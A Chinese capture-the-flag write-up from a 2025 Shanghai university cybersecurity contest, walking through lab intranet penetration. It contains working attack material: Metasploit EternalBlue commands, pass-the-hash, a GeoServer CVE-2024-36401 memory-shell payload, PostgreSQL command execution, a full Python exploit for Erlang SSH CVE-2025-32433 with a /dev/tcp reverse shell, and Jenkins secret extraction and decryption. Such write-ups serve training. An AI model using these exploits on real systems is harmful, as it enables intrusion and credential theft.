2025第十届“磐石行动”上海市大学生网络安全大赛 - 复赛 - WriteUp
2025第十届“磐石行动”上海市大学生网络安全大赛复赛
2025第十届“磐石行动”上海市大学生网络安全大赛 - 复赛 - WriteUp
信息泄露引发的血案
1
2
3
1. 内网存在多台机器,不一定每台都存在flag。
2. Windows统一:C:\Users\Administrator\Desktop\flag
3. Linux统一:/root/flag
第一层(Windows)
README.txt泄露了后端源码实现了一个文件下载接口
using System;
using System.IO;
using System.Web;
using System.Text;
public partial class FileDownload : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
string forwardedFor = Request.Headers["X-Forwarded-For"];
if (string.IsNullOrEmpty(forwardedFor) || !forwardedFor.Contains("127.0.0.1"))
{
Response.Write("禁止访问!");
return;
}
string encodedFileName = Request.QueryString["img"];
if (!string.IsNullOrEmpty(encodedFileName))
{
try
{
byte[] data = Convert.FromBase64String(encodedFileName);
string fileName = Encoding.UTF8.GetString(data);
string baseDirectory = Server.MapPath("~/");
string filePath = Path.Combine(baseDirectory, fileName);
if (File.Exists(filePath) && filePath.StartsWith(baseDirectory, StringComparison.OrdinalIgnoreCase))
{
Response.ContentType = "image/jpeg";
Response.AddHeader("Content-Disposition", "attachment; filename=" + Path.GetFileName(filePath));
Response.WriteFile(filePath);
Response.End();
}
else
{
Response.Write("猜错了!");
}
}
catch
{
Response.Write("错啦!");
}
}
}
}
添加127头进行伪造
X-Forwarded-For: 127.0.0.1
1
flag{RDaU3MQiV1yp78xwjKF4Sk2JEgcTrhoz}
清晨的第一缕阳光
第一层(Windows)
1
2
3
1. 内网存在多台机器,不一定每台都存在flag。
2. Windows统一:C:\Users\Administrator\Desktop\flag
3. Linux统一:/root/flag
flag{98oHzrJZBXtWfmdhs6ER73epQ5vn0LND}
第二层(Windows)
存在永恒之蓝,试了一下只能正向连接
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 生成马
msfvenom -p windows/x64/shell_bind_tcp LPORT=4444 -f raw -o shellcode.bin
#使用正向连接加代理
msf6 > setg Proxies socks5:192.168.36.1:11086
Proxies => socks5:192.168.36.1:11086
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.99.112
RHOSTS => 192.168.99.112
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/shell_bind_tcp
PAYLOAD => windows/x64/shell_bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444
LPORT => 4444
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
# 代理NC监听
┌──(kali㉿kali)-[~/ls]
└─$ proxychains4 nc 192.168.99.112 4444
flag{lepgh5aBiLnTGV4QfM9Fr3ZKHJNR0bWX}
第三层(Windows)
扫到10.223.155.223
1
2
Administrator
173964ad89f81721613e41bd1122e65f
代理PTH攻击
1
proxychains python3 /usr/share/doc/python3-impacket/examples/psexec.py WORKGROUP/Administrator@10.223.155.223 -hashes :173964ad89f81721613e41bd1122e65f
flag{K0SBHWDXQ5CG6xbJufrZjyLI2Vm7sP3g}
夜色最浓时
1
2
3
1. 内网存在多台机器,不一定每台都存在flag。
2. Windows统一:C:\Users\Administrator\Desktop\flag
3. Linux统一:/root/flag
第一层(Windows)
默认密码登录
1
2
admin
geoserver
没啥用,找到一个CVE打内存马
GeoServer property RCE注入内存马 CVE-2024-36401
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /geoserver/wfs HTTP/1.1
Host: 10.103.5.75:8080
Content-Type: application/xml
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'
var str="你生成的payload";
var bt;
try {
bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
bt = java.util.Base64.getDecoder().decode(str);
}
var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
unsafe = theUnsafe.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();
')</wfs:valueReference>
</wfs:GetPropertyValue>
flag{5ziCUqpZ4Y1RQWwcjGxFegEIXoamtlMV}
第二层(Lunx)
扫出来 192.168.188.223:5432
postgres
postgres
1
2
3
COPY (SELECT '') TO PROGRAM 'sudo cat /root/flag > /tmp/root_flag.txt';
SELECT pg_read_file('/tmp/root_flag.txt', 0, 1000);
flag{RcCME5JgU3v76drzG12moDIi0j4ftPy8}
第三层
写公钥上去
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 生成ssh密钥
ssh-keygen -t rsa -b 2048 -f my_root_key
#查看密钥
cat my_root_key.pub
内容
# 上传公钥
COPY (SELECT '') TO PROGRAM 'echo "内容" | sudo tee -a /root/.ssh/authorized_keys';
# 代理连接
┌──(xad㉿kali)-[~]
└─$ proxychains4 ssh -i my_root_key root@192.168.188.223
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1148 ... 192.168.188.223:22 ... OK
The authenticity of host '192.168.188.223 (192.168.188.223)' can't be established.
ED25519 key fingerprint is SHA256:kUXE5oYjaMKMOM4LEU4AkuddRfE5rOXTewprv0EfQRc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.188.223' (ED25519) to the list of known hosts.
[root@localhost ~]# id
uid=0(root) gid=0(root) 组=0(root) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sftp上传文件上线
1
2
3
proxychains4 sftp -i my_root_key root@192.168.188.223
put /home/xad/tcp_linux_amd64 /root/tcp_linux_amd64
10.117.116.188
就一共22端口
找到两篇文章
Erlang/OTP 严重SSH 漏洞允许未认证的远程代码执行 CVE-2025-32433
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
import socket
import struct
import time
import argparse
import base64
# Helper to format SSH string (4-byte length + bytes)
def string_payload(s):
s_bytes = s.encode("utf-8")
return struct.pack(">I", len(s_bytes)) + s_bytes
# Builds SSH_MSG_CHANNEL_OPEN for session
def build_channel_open(channel_id=0):
return (
b"\x5a" # SSH_MSG_CHANNEL_OPEN
+ string_payload("session")
+ struct.pack(">I", channel_id) # sender channel ID
+ struct.pack(">I", 0x68000) # initial window size
+ struct.pack(">I", 0x10000) # max packet size
)
# Builds SSH_MSG_CHANNEL_REQUEST with 'exec' payload
def build_channel_request(channel_id=0, command=None):
return (
b"\x62" # SSH_MSG_CHANNEL_REQUEST
+ struct.pack(">I", channel_id)
+ string_payload("exec")
+ b"\x01" # want_reply = true
+ string_payload(command)
)
# Builds a minimal but valid SSH_MSG_KEXINIT packet
def build_kexinit():
cookie = b"\x00" * 16
def name_list(l):
return string_payload(",".join(l))
# Match server-supported algorithms from the log
return (
b"\x14"
+ cookie
+ name_list(
[
"curve25519-sha256",
"ecdh-sha2-nistp256",
"diffie-hellman-group-exchange-sha256",
"diffie-hellman-group14-sha256",
]
) # kex algorithms
+ name_list(["rsa-sha2-256", "rsa-sha2-512"]) # host key algorithms
+ name_list(["aes128-ctr"]) * 2 # encryption client->server, server->client
+ name_list(["hmac-sha1"]) * 2 # MAC algorithms
+ name_list(["none"]) * 2 # compression
+ name_list([]) * 2 # languages
+ b"\x00"
+ struct.pack(">I", 0) # first_kex_packet_follows, reserved
)
# Pads a packet to match SSH framing
def pad_packet(payload, block_size=8):
min_padding = 4
padding_len = block_size - ((len(payload) + 5) % block_size)
if padding_len < min_padding:
padding_len += block_size
return (
struct.pack(">I", len(payload) + 1 + padding_len)
+ bytes([padding_len])
+ payload
+ bytes([0] * padding_len)
)
# Convert system command to Erlang os:cmd format
def format_erlang_command(cmd):
# Use base64 encoding to avoid escaping issues
encoded_cmd = base64.b64encode(cmd.encode()).decode()
# Create Erlang code that decodes and executes the command
return f'os:cmd(binary_to_list(base64:decode("{encoded_cmd}"))).'
# === Exploit flow ===
def main():
# Parse command line arguments
parser = argparse.ArgumentParser(description='Exploit for Erlang CVE-2025-32433')
parser.add_argument('-t', '--target', default="127.0.0.1", help='Target IP address (default: 127.0.0.1)')
parser.add_argument('-p', '--port', type=int, default=2222, help='Target port (default: 2222)')
parser.add_argument('-c', '--command', help='System command to execute (for example: touch /tmp/success)')
parser.add_argument('-e', '--erlang', help='Interpret command as raw Erlang code instead of system command. (for example: os:cmd("touch /tmp/success").)')
args = parser.parse_args()
# Convert system command to Erlang command unless --erlang flag is used
if args.erlang:
erlang_cmd = args.erlang
elif args.command:
erlang_cmd = format_erlang_command(args.command)
else:
print(parser.print_help())
return
try:
with socket.create_connection((args.target, args.port), timeout=5) as s:
print("[*] Connecting to SSH server...")
# 1. Banner exchange
s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
banner = s.recv(1024)
print(f"[+] Received banner: {banner.strip().decode(errors='ignore')}")
time.sleep(0.5) # Small delay between packets
# 2. Send SSH_MSG_KEXINIT
print("[*] Sending SSH_MSG_KEXINIT...")
kex_packet = build_kexinit()
s.sendall(pad_packet(kex_packet))
time.sleep(0.5) # Small delay between packets
# 3. Send SSH_MSG_CHANNEL_OPEN
print("[*] Sending SSH_MSG_CHANNEL_OPEN...")
chan_open = build_channel_open()
s.sendall(pad_packet(chan_open))
time.sleep(0.5) # Small delay between packets
# 4. Send SSH_MSG_CHANNEL_REQUEST (pre-auth!)
print("[*] Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...")
print(f"[*] Erlang payload: {erlang_cmd}")
chan_req = build_channel_request(command=erlang_cmd)
s.sendall(pad_packet(chan_req))
print(
f"[✓] Exploit sent! Command executed on target"
)
# Try to receive any response (might get a protocol error or disconnect)
try:
response = s.recv(1024)
print(f"[+] Received response: {response.hex()}")
except socket.timeout:
print("[*] No response within timeout period (which is expected)")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
main()
1
2
3
4
5
6
7
8
9
10
11
12
┌──(pd)─(kali㉿kali)-[~/ls]
└─$ proxychains4 python3 1.py -t 10.117.116.188 -p 2222 -c '/bin/bash -i &>/dev/tcp/ip/1112 <&1'
[*] Connecting to SSH server...
[+] Received banner:
[*] Sending SSH_MSG_KEXINIT...
[*] Sending SSH_MSG_CHANNEL_OPEN...
[*] Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
[*] Erlang payload: os:cmd(binary_to_list(base64:decode("L2Jpbi9iYXNoIC1pICY+L2Rldi90Y3AvMTExLjExOS4yMzguMjA2LzExMTIgPCYx"))).
[✓] Exploit sent! Command executed on target
[+] Received response:
一条龙“服务”渗透
1
2
3
1. 内网存在多台机器,不一定每台都存在flag。
2. Windows统一:C:\Users\Administrator\Desktop\flag
3. Linux统一:/root/flag
第一层(Linux)
971083e04f0271a0c503733bd35ec5c0
1
2
3
4
5
#查看私钥
cat id_rsa
# 保存给权限
chmod 600 id_rsa
1
2
3
4
5
6
7
┌──(pd)─(kali㉿kali)-[~/ls]
└─$ ssh -i id_rsa root@10.103.161.151
Last login: Thu May 8 15:58:58 2025 from 10.88.88.4
[root@localhost ~]# id
uid=0(root) gid=0(root) 组=0(root)
[root@localhost ~]# cat /root/f*
flag{4LjPKJO9owxzkbXN6vi5h0IpHeVFA7MD}[root@localhost ~]#
第二层()
192.168.66.128
参考文章
# Jenkins未授权访问漏洞&命令执行 # 漏洞复现 Jenkins script 远程命令执行漏洞
1
curl -u "admin:1172836bdd7cc687550e757a57d57e2804" -H "Jenkins-Crumb: $CRUMB" -d "script=println 'cat credentials.xml'.execute().text" http://192.168.66.128:8080/scriptText
1
{AQAAABAAAAAgtexA8vpTSnExRDT5W2GGLO4f2VW1OCnN0JoU8Nfy1zx90xyaA/ddWiCrThVdRmQn}
1
curl -u "admin:1172836bdd7cc687550e757a57d57e2804" -H "Jenkins-Crumb: $CRUMB" -d "script=println 'cat secret.key'.execute().text" http://192.168.66.128:8080/scriptText
1
1c48f36e2bc4e3b3f6b24083193dc215492f4ff9533cf714dad75321b1659fdb
1
2
3
4
5
6
[root@localhost ~]# curl -u "admin:1172836bdd7cc687550e757a57d57e2804" -H "Jenkins-Crumb: $CRUMB" -d "script=println 'ls -l ./secrets'.execute().text" http://192.168.66.128:8080/scriptText
total 16
-rw-r--r--. 1 jenkins jenkins 272 Mar 14 10:58 hudson.util.Secret
-rw-r--r--. 1 jenkins jenkins 32 Mar 14 10:44 jenkins.model.Jenkins.crumbSalt
-rw-r--r--. 1 jenkins jenkins 256 Mar 14 10:44 master.key
-rw-r--r--. 1 jenkins jenkins 272 Mar 14 10:57 org.jenkinsci.main.modules.instance_identity.InstanceIdentity.KEY
1
curl -u "admin:1172836bdd7cc687550e757a57d57e2804" -H "Jenkins-Crumb: $CRUMB" -d "script=println 'cat secrets/master.key'.execute().text" http://192.168.66.128:8080/scriptText
1
504f62ab1c6fe005cbfba4cbac6dea110d0d45449dbef5236108752b3387a0b5b86aa154d77f5ed829c720c3d4384abefb17c116be7e59a4be0df2aa40b4ff30b1d43c18ad8764840f067124c5c93348f84df5cab0cf5001aa5bd9aa85c1545c616e01e5b3a87954fadcb1acd35a2eb917cc24708667f3a268770ec60154d138
hudson.util.Secret
1
2
3
4
5
6
7
8
9
10
[root@localhost ~]# curl -u "admin:1172836bdd7cc687550e757a57d57e2804" \
> -H "Jenkins-Crumb: $CRUMB" \
> -d "script=println 'base64 secrets/hudson.util.Secret'.execute().text" \
> http://192.168.66.128:8080/scriptText
CWbIdzHbfTI8pV7A/1UuCcs0Ags9Y18nyqsrTnoIzArpEk58k7nvowlq3KqicxergfHaPoxaTlvX
bKTRpnnfVba/t3x9eXnPMTz9j/WuPpbVS+8scytbA3FOAzjmvWG1aMQYwsp7WahtT+evSbADcZ+3
t7kKG5mn8WoV7GoRXtsfisbHUDHGxV28OXVKf3p+8JnL/n64dm7rdUE35+3f2gYpZjLFXPZk696F
8XXPTgkIOgEnBT1r3Ur9CMF+5wDheEQQN6Xv0Wc3VKOPQ7MtetPTVpZjV5ncNJgi7tRXdEFP+8kj
GkgbLlWWZ7mlpeH7P433tl8HzJx27QNYMcLVQLZm0DTUtwYi6Bk6C0IKnX0=
解密
1
2
3
4
5
┌──(pd)─(kali㉿kali)-[~/ls]
└─$ python3 jenkins_credential.py master.key hudson.util.Secret {AQAAABAAAAAgtexA8vpTSnExRDT5W2GGLO4f2VW1OCnN0JoU8Nfy1zx90xyaA/ddWiCrThVdRmQn}
/home/kali/ls/jenkins_credential.py:5: SyntaxWarning: invalid escape sequence '\ '
8A2G0RNDocDjiaKd
ssh登录
1
2
ssh idss@192.168.66.128
8A2G0RNDocDjiaKd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[root@localhost ~]# ssh idss@192.168.66.128
The authenticity of host '192.168.66.128 (192.168.66.128)' can't be established.
ECDSA key fingerprint is SHA256:A89jmLwKxeps5/7NNwHpI1HwHVH1R+S9kV0DP2c1K/U.
ECDSA key fingerprint is MD5:36:36:5d:87:bc:b8:e3:57:9f:57:43:67:a0:bf:c4:92.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.66.128' (ECDSA) to the list of known hosts.
idss@192.168.66.128's password:
Last login: Wed Apr 30 08:24:18 2025
[idss@localhost ~]$ id
uid=1000(idss) gid=1000(idss) 组=1000(idss),4(adm),190(systemd-journal)
[idss@localhost ~]$ sudo -l
匹配 %2$s 上 %1$s 的默认条目:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
用户 idss 可以在 localhost 上运行以下命令:
(ALL) NOPASSWD: ALL
[idss@localhost ~]$ sudo su -
上一次登录:四 5月 8 15:59:36 UTC 2025从 10.88.88.4pts/0 上
最后一次失败的登录:四 8月 7 14:09:40 UTC 2025从 192.168.66.31ssh:notty 上
最有一次成功登录后有 45 次失败的登录尝试。
[root@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root)
[root@localhost ~]# cat /root/f*
flag{XJFyvxcALo9w3SrmBn5l6gqZNskbO7Dp}[root@localhost ~]#
本文由作者按照 CC BY 4.0 进行授权